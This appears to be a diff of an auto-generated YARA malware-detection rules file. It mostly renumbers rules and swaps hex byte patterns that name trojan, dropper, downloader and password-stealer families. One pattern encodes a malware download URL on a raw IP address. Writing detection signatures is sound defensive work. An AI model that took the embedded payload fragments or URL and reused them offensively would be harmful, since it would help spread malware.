"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -89739,7 +95262,7 @@ rule _InfrastructureShared_8441{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*9216) >=1 } -rule _InfrastructureShared_8442{ +rule _InfrastructureShared_8955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -89750,7 +95273,7 @@ rule _InfrastructureShared_8442{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*1799) >=1 } -rule _InfrastructureShared_8443{ +rule _InfrastructureShared_8956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -89761,7 +95284,7 @@ rule _InfrastructureShared_8443{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*64) >=1 } -rule _InfrastructureShared_8444{ +rule _InfrastructureShared_8957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -89773,7 +95296,7 @@ rule _InfrastructureShared_8444{ ((#a_46_0 & 1)*16675+(#a_f6_1 & 1)*24948+(#a_d9_2 & 1)*656) >=1 } -rule _InfrastructureShared_8445{ +rule _InfrastructureShared_8958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -89784,7 +95307,7 @@ rule _InfrastructureShared_8445{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28440) >=1 } -rule _InfrastructureShared_8446{ +rule _InfrastructureShared_8959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -89795,7 +95318,7 @@ rule _InfrastructureShared_8446{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144) >=1 } -rule _InfrastructureShared_8447{ +rule _InfrastructureShared_8960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -89807,7 +95330,7 @@ rule _InfrastructureShared_8447{ ((#a_72_0 & 1)*22051+(#a_7a_1 & 1)*14694+(#a_3a_2 & 1)*29812) >=1 } -rule _InfrastructureShared_8448{ +rule _InfrastructureShared_8961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -89819,7 +95342,7 @@ rule _InfrastructureShared_8448{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*18532+(#a_6c_2 & 1)*17257) >=1 } -rule _InfrastructureShared_8449{ +rule _InfrastructureShared_8962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -89832,7 +95355,7 @@ rule _InfrastructureShared_8449{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28440+(#a_00_2 & 1)*26624+(#a_04_3 & 1)*-28430) >=1 } -rule _InfrastructureShared_8450{ +rule _InfrastructureShared_8963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -89845,7 +95368,7 @@ rule _InfrastructureShared_8450{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*11837+(#a_42_2 & 1)*19745+(#a_00_3 & 1)*-5360) >=1 } -rule _InfrastructureShared_8451{ +rule _InfrastructureShared_8964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -89855,7 +95378,7 @@ rule _InfrastructureShared_8451{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8452{ +rule _InfrastructureShared_8965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89865,7 +95388,7 @@ rule _InfrastructureShared_8452{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8453{ +rule _InfrastructureShared_8966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89875,7 +95398,7 @@ rule _InfrastructureShared_8453{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8454{ +rule _InfrastructureShared_8967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89886,7 +95409,7 @@ rule _InfrastructureShared_8454{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-29946) >=2 } -rule _InfrastructureShared_8455{ +rule _InfrastructureShared_8968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89897,7 +95420,7 @@ rule _InfrastructureShared_8455{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*1165) >=2 } -rule _InfrastructureShared_8456{ +rule _InfrastructureShared_8969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89908,7 +95431,7 @@ rule _InfrastructureShared_8456{ ((#a_46_0 & 1)*16675+(#a_ca_1 & 1)*-9591) >=2 } -rule _InfrastructureShared_8457{ +rule _InfrastructureShared_8970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89919,7 +95442,7 @@ rule _InfrastructureShared_8457{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*-18172) >=2 } -rule _InfrastructureShared_8458{ +rule _InfrastructureShared_8971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89930,7 +95453,7 @@ rule _InfrastructureShared_8458{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*22128) >=2 } -rule _InfrastructureShared_8459{ +rule _InfrastructureShared_8972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89940,7 +95463,7 @@ rule _InfrastructureShared_8459{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_8460{ +rule _InfrastructureShared_8973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89951,7 +95474,7 @@ rule _InfrastructureShared_8460{ ((#a_54_0 & 1)*18467+(#a_d2_1 & 1)*0) >=2 } -rule _InfrastructureShared_8461{ +rule _InfrastructureShared_8974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89962,7 +95485,7 @@ rule _InfrastructureShared_8461{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*-9171) >=2 } -rule _InfrastructureShared_8462{ +rule _InfrastructureShared_8975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89972,7 +95495,7 @@ rule _InfrastructureShared_8462{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_8463{ +rule _InfrastructureShared_8976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89983,7 +95506,7 @@ rule _InfrastructureShared_8463{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4952) >=2 } -rule _InfrastructureShared_8464{ +rule _InfrastructureShared_8977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89994,7 +95517,7 @@ rule _InfrastructureShared_8464{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*25968) >=2 } -rule _InfrastructureShared_8465{ +rule _InfrastructureShared_8978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -90005,7 +95528,7 @@ rule _InfrastructureShared_8465{ ((#a_4c_0 & 1)*21539+(#a_c9_1 & 1)*17664) >=2 } -rule _InfrastructureShared_8466{ +rule _InfrastructureShared_8979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -90016,19 +95539,31 @@ rule _InfrastructureShared_8466{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*-15229) >=2 } -rule _InfrastructureShared_8467{ +rule _InfrastructureShared_8980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 61 74 63 68 6c 69 6e 6b 2e 44 21 64 68 61 00 01 00 11 01 b9 9c ab 1f 01 81 e9 00 10 1f 01 83 c1 fb 03 c8 e9 01 00 13 01 33 c0 3b 74 24 14 0f 4d f0 8a 04 1e 30 04 0f } //21539 - $a_fa_1 = {00 27 01 4c 63 57 38 48 8b cb 49 3b ca 48 0f 4d cb 48 ff c1 8a 44 0f 3b 30 02 48 ff c2 49 ff c8 75 e8 48 63 47 60 0f b6 4f 2c 00 00 78 82 00 00 03 00 02 00 03 00 21 23 41 4c 46 } //17991 - $a_3a_2 = {69 6e 33 32 2f 53 61 74 68 75 72 62 6f 74 2e 43 21 64 6c 6c 00 01 00 12 01 52 49 46 46 54 6f 3a 5d 41 56 49 20 4c 49 53 54 72 22 01 00 1b 01 53 65 65 64 65 72 2e 64 6c 6c 00 3f 3f 30 3f 24 74 69 6d 65 72 5f 71 75 65 75 65 01 00 22 01 43 61 6c 6c } //17744 + $a_fa_1 = {00 27 01 4c 63 57 38 48 8b cb 49 3b ca 48 0f 4d cb 48 ff c1 8a 44 0f 3b 30 02 48 ff c2 49 ff c8 75 e8 48 63 47 60 0f b6 4f 2c 00 00 78 82 00 00 02 00 02 00 04 00 21 23 41 4c 46 } //17991 + $a_6f_2 = {61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 51 75 61 6e 74 75 6d 50 61 72 72 6f 74 2e 41 21 64 68 61 00 01 00 12 01 68 49 55 53 67 67 37 4b 56 50 78 35 53 46 55 5a 56 35 01 00 0c 01 4b 4c 35 46 67 35 71 47 4c 35 46 5a 01 00 13 01 68 46 49 67 66 50 4c 43 49 55 4d 56 35 54 58 6a 35 61 67 01 00 0b 01 64 49 4c 67 57 46 56 66 4c 35 35 00 00 } //21562 condition: - ((#a_4c_0 & 1)*21539+(#a_fa_1 & 1)*17991+(#a_3a_2 & 1)*17744) >=2 + ((#a_4c_0 & 1)*21539+(#a_fa_1 & 1)*17991+(#a_6f_2 & 1)*21562) >=2 } -rule _InfrastructureShared_8468{ +rule _InfrastructureShared_8981{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 51 75 61 6e 74 75 6d 50 61 72 72 6f 74 2e 41 21 64 68 61 00 01 00 12 01 68 49 55 53 67 67 37 4b 56 50 78 35 53 46 55 5a 56 35 01 00 0c 01 4b 4c 35 46 67 35 71 47 4c 35 } //16675 + $a_00_1 = {13 } //23110 + $a_49_2 = {66 50 4c 43 49 55 4d 56 35 54 58 6a 35 61 67 01 00 0b 01 64 49 4c 67 57 46 56 66 4c 35 35 00 00 78 82 00 00 03 00 02 00 03 00 21 23 41 4c 46 50 45 52 3a 57 69 6e 33 32 2f 53 61 74 68 75 72 62 6f 74 2e 43 21 64 } //26625 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*23110+(#a_49_2 & 1)*26625) >=2 + +} +rule _InfrastructureShared_8982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 03 00 21 " @@ -90040,7 +95575,7 @@ rule _InfrastructureShared_8468{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25973+(#a_6c_2 & 1)*17153) >=2 } -rule _InfrastructureShared_8469{ +rule _InfrastructureShared_8983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -90051,7 +95586,7 @@ rule _InfrastructureShared_8469{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*785) >=3 } -rule _InfrastructureShared_8470{ +rule _InfrastructureShared_8984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -90063,7 +95598,7 @@ rule _InfrastructureShared_8470{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*30496+(#a_72_2 & 1)*30322) >=3 } -rule _InfrastructureShared_8471{ +rule _InfrastructureShared_8985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -90075,7 +95610,7 @@ rule _InfrastructureShared_8471{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25459+(#a_36_2 & 1)*272) >=3 } -rule _InfrastructureShared_8472{ +rule _InfrastructureShared_8986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -90087,7 +95622,7 @@ rule _InfrastructureShared_8472{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_8473{ +rule _InfrastructureShared_8987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -90099,7 +95634,7 @@ rule _InfrastructureShared_8473{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_8474{ +rule _InfrastructureShared_8988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -90111,7 +95646,7 @@ rule _InfrastructureShared_8474{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_8475{ +rule _InfrastructureShared_8989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -90123,7 +95658,7 @@ rule _InfrastructureShared_8475{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_8476{ +rule _InfrastructureShared_8990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -90134,7 +95669,7 @@ rule _InfrastructureShared_8476{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*32) >=3 } -rule _InfrastructureShared_8477{ +rule _InfrastructureShared_8991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -90146,7 +95681,7 @@ rule _InfrastructureShared_8477{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29545+(#a_73_2 & 1)*24864) >=3 } -rule _InfrastructureShared_8478{ +rule _InfrastructureShared_8992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -90158,7 +95693,7 @@ rule _InfrastructureShared_8478{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26213+(#a_05_2 & 1)*-28589) >=3 } -rule _InfrastructureShared_8479{ +rule _InfrastructureShared_8993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -90169,7 +95704,7 @@ rule _InfrastructureShared_8479{ ((#a_46_0 & 1)*21283+(#a_2e_2 & 1)*23553) >=3 } -rule _InfrastructureShared_8480{ +rule _InfrastructureShared_8994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -90181,7 +95716,7 @@ rule _InfrastructureShared_8480{ ((#a_6c_0 & 1)*16675+(#a_61_1 & 1)*12644+(#a_00_3 & 1)*114) >=3 } -rule _InfrastructureShared_8481{ +rule _InfrastructureShared_8995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -90193,7 +95728,7 @@ rule _InfrastructureShared_8481{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_79_3 & 1)*26996) >=3 } -rule _InfrastructureShared_8482{ +rule _InfrastructureShared_8996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -90206,7 +95741,7 @@ rule _InfrastructureShared_8482{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_82_3 & 1)*0) >=3 } -rule _InfrastructureShared_8483{ +rule _InfrastructureShared_8997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -90219,7 +95754,7 @@ rule _InfrastructureShared_8483{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_2e_3 & 1)*384+(#a_4a_4 & 1)*19529) >=3 } -rule _InfrastructureShared_8484{ +rule _InfrastructureShared_8998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -90232,7 +95767,7 @@ rule _InfrastructureShared_8484{ ((#a_41_0 & 1)*20515+(#a_73_1 & 1)*26990+(#a_00_4 & 1)*28528+(#a_00_5 & 1)*10246) >=3 } -rule _InfrastructureShared_8485{ +rule _InfrastructureShared_8999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -90242,7 +95777,7 @@ rule _InfrastructureShared_8485{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_8486{ +rule _InfrastructureShared_9000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -90253,30 +95788,18 @@ rule _InfrastructureShared_8486{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*29561) >=4 } -rule _InfrastructureShared_8487{ +rule _InfrastructureShared_9001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 41 52 41 41 21 4d 54 42 00 02 00 1f 03 22 68 74 74 70 3a 2f 2f 31 35 34 2e 31 32 2e 39 32 2e 35 33 2f 90 02 2f 2e 74 78 74 22 90 00 02 00 25 01 43 72 65 61 } //18467 - $a_62_1 = {65 63 74 28 22 57 69 6e 48 74 74 70 2e 57 69 6e 48 74 74 70 52 65 71 75 65 73 74 2e 00 00 78 82 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 62 6c 61 6d 79 2e 4e 4c 50 21 4d 54 42 00 02 } //25972 + $a_62_1 = {65 63 74 28 22 57 69 6e 48 74 74 70 2e 57 69 6e 48 74 74 70 52 65 71 75 65 73 74 2e 00 00 78 82 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 74 65 63 68 73 74 65 61 6c 2e 41 21 62 } //25972 condition: ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*25972) >=4 } -rule _InfrastructureShared_8488{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 62 6c 61 6d 79 2e 4e 4c 50 21 4d 54 42 00 02 00 11 01 eb 07 8b 45 9c 40 89 45 9c 83 7d 9c 02 7d 10 8b 45 01 00 15 03 6a 04 58 c1 e0 00 8b 84 05 90 01 03 ff 6a 04 59 6b c9 00 } //16675 - $a_00_1 = {22 } //144 " - $a_04_2 = {58 d1 e0 8b 84 05 90 01 03 ff 48 6a 04 59 d1 e1 89 84 0d 90 01 02 ff ff 6a 04 58 d1 e0 90 00 00 00 78 82 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 74 65 63 68 73 74 65 61 6c 2e 41 21 62 69 74 00 01 00 15 01 66 74 70 2e 74 65 61 6d 74 72 75 6e 63 61 74 65 64 } //6403 - condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_04_2 & 1)*6403) >=4 - -} -rule _InfrastructureShared_8489{ +rule _InfrastructureShared_9002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90289,7 +95812,7 @@ rule _InfrastructureShared_8489{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*2675+(#a_45_2 & 1)*29249+(#a_3a_3 & 1)*21587) >=4 } -rule _InfrastructureShared_8490{ +rule _InfrastructureShared_9003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90302,7 +95825,7 @@ rule _InfrastructureShared_8490{ ((#a_63_0 & 1)*17699+(#a_00_1 & 1)*0+(#a_53_2 & 1)*8993+(#a_50_3 & 1)*26977) >=4 } -rule _InfrastructureShared_8491{ +rule _InfrastructureShared_9004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90315,7 +95838,7 @@ rule _InfrastructureShared_8491{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*17210+(#a_64_2 & 1)*25911+(#a_82_3 & 1)*0) >=4 } -rule _InfrastructureShared_8492{ +rule _InfrastructureShared_9005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90327,7 +95850,7 @@ rule _InfrastructureShared_8492{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*13108+(#a_65_2 & 1)*24943) >=4 } -rule _InfrastructureShared_8493{ +rule _InfrastructureShared_9006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90340,7 +95863,7 @@ rule _InfrastructureShared_8493{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*28531+(#a_01_2 & 1)*28261+(#a_73_3 & 1)*29545) >=4 } -rule _InfrastructureShared_8494{ +rule _InfrastructureShared_9007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90352,7 +95875,7 @@ rule _InfrastructureShared_8494{ ((#a_54_0 & 1)*18467+(#a_6c_2 & 1)*29697+(#a_00_3 & 1)*27756) >=4 } -rule _InfrastructureShared_8495{ +rule _InfrastructureShared_9008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90365,7 +95888,7 @@ rule _InfrastructureShared_8495{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_82_3 & 1)*0) >=4 } -rule _InfrastructureShared_8496{ +rule _InfrastructureShared_9009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90378,7 +95901,7 @@ rule _InfrastructureShared_8496{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*26227+(#a_72_2 & 1)*30319+(#a_33_3 & 1)*12627) >=4 } -rule _InfrastructureShared_8497{ +rule _InfrastructureShared_9010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90390,7 +95913,7 @@ rule _InfrastructureShared_8497{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*385+(#a_65_3 & 1)*29697) >=4 } -rule _InfrastructureShared_8498{ +rule _InfrastructureShared_9011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90403,7 +95926,7 @@ rule _InfrastructureShared_8498{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_82_3 & 1)*0) >=4 } -rule _InfrastructureShared_8499{ +rule _InfrastructureShared_9012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90416,7 +95939,7 @@ rule _InfrastructureShared_8499{ ((#a_41_0 & 1)*20515+(#a_63_1 & 1)*30322+(#a_45_2 & 1)*17460+(#a_3a_3 & 1)*21840) >=4 } -rule _InfrastructureShared_8500{ +rule _InfrastructureShared_9013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -90429,21 +95952,35 @@ rule _InfrastructureShared_8500{ ((#a_46_0 & 1)*21283+(#a_36_1 & 1)*12609+(#a_33_2 & 1)*12655+(#a_80_3 & 1)*1) >=4 } -rule _InfrastructureShared_8501{ +rule _InfrastructureShared_9014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 48 61 6f 31 32 33 2e 4b 53 35 31 00 01 00 0e 80 01 77 77 77 2e 68 61 6f 31 32 33 2e 63 6f 6d 01 00 0a 80 01 68 61 6f 31 32 33 2e 63 6f 6d 01 00 06 80 01 48 61 6f 44 4e 53 01 00 0b 80 01 6a 75 7a 69 } //16675 - $a_77_1 = {61 62 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 82 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 56 51 21 4d 54 42 00 05 00 55 01 2b 54 72 3d 00 00 70 07 72 64 01 00 70 28 2d 00 00 } //28218 - $a_72_2 = {01 00 70 28 29 00 } //3338 - $a_28_3 = {00 00 0a 72 ac 01 00 70 03 } //2560 - $a_00_4 = {70 } //-910 p + $a_77_1 = {61 62 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 82 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 52 65 66 6c 65 63 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 11 81 01 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 01 } //28218 + $a_01_2 = {47 65 74 4d 65 74 68 6f 64 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 07 81 01 47 65 74 54 79 70 65 01 00 0a 81 01 4d 65 74 68 6f 64 49 6e 66 6f 01 00 0c 81 01 50 72 6f 70 65 72 74 79 49 6e 66 6f 00 00 78 82 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 56 51 21 4d 54 42 00 05 00 55 01 2b 54 72 3d 00 00 70 07 72 64 01 00 70 28 2d 00 } //2304 + $a_06_3 = {72 9e 01 00 70 28 29 00 00 0a 09 28 2e } //2560 + $a_72_4 = {01 00 70 03 72 fc 01 00 70 28 } //0 condition: - ((#a_46_0 & 1)*16675+(#a_77_1 & 1)*28218+(#a_72_2 & 1)*3338+(#a_28_3 & 1)*2560+(#a_00_4 & 1)*-910) >=4 + ((#a_46_0 & 1)*16675+(#a_77_1 & 1)*28218+(#a_01_2 & 1)*2304+(#a_06_3 & 1)*2560+(#a_72_4 & 1)*0) >=4 } -rule _InfrastructureShared_8502{ +rule _InfrastructureShared_9015{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 52 65 66 6c 65 63 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 11 81 01 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 07 81 01 47 65 74 54 79 70 } //18467 + $a_65_2 = {68 6f 64 49 6e 66 6f 01 00 0c 81 01 50 72 6f 70 65 72 74 79 49 6e 66 6f 00 00 78 82 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 56 51 21 4d 54 42 00 05 00 55 01 2b 54 72 3d } //385 + $a_07_3 = {72 64 01 00 70 28 2d 00 00 0a 0d 06 72 9e 01 00 70 28 29 00 00 0a 09 28 2e 00 00 0a 72 ac 01 00 70 03 72 fc 01 00 70 28 2d 00 00 0a 16 16 15 28 2f 00 00 0a 26 72 00 02 00 70 06 72 9e 01 00 70 28 2d 00 00 0a 16 16 15 28 2f 00 00 0a 00 00 78 82 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 } //0 + $a_45_4 = {4d 54 42 00 03 00 28 03 8d 3f 02 c3 8d 3f 8d 3f 90 13 8d 3f 32 c3 8d 3f 02 c3 90 13 32 c3 8d 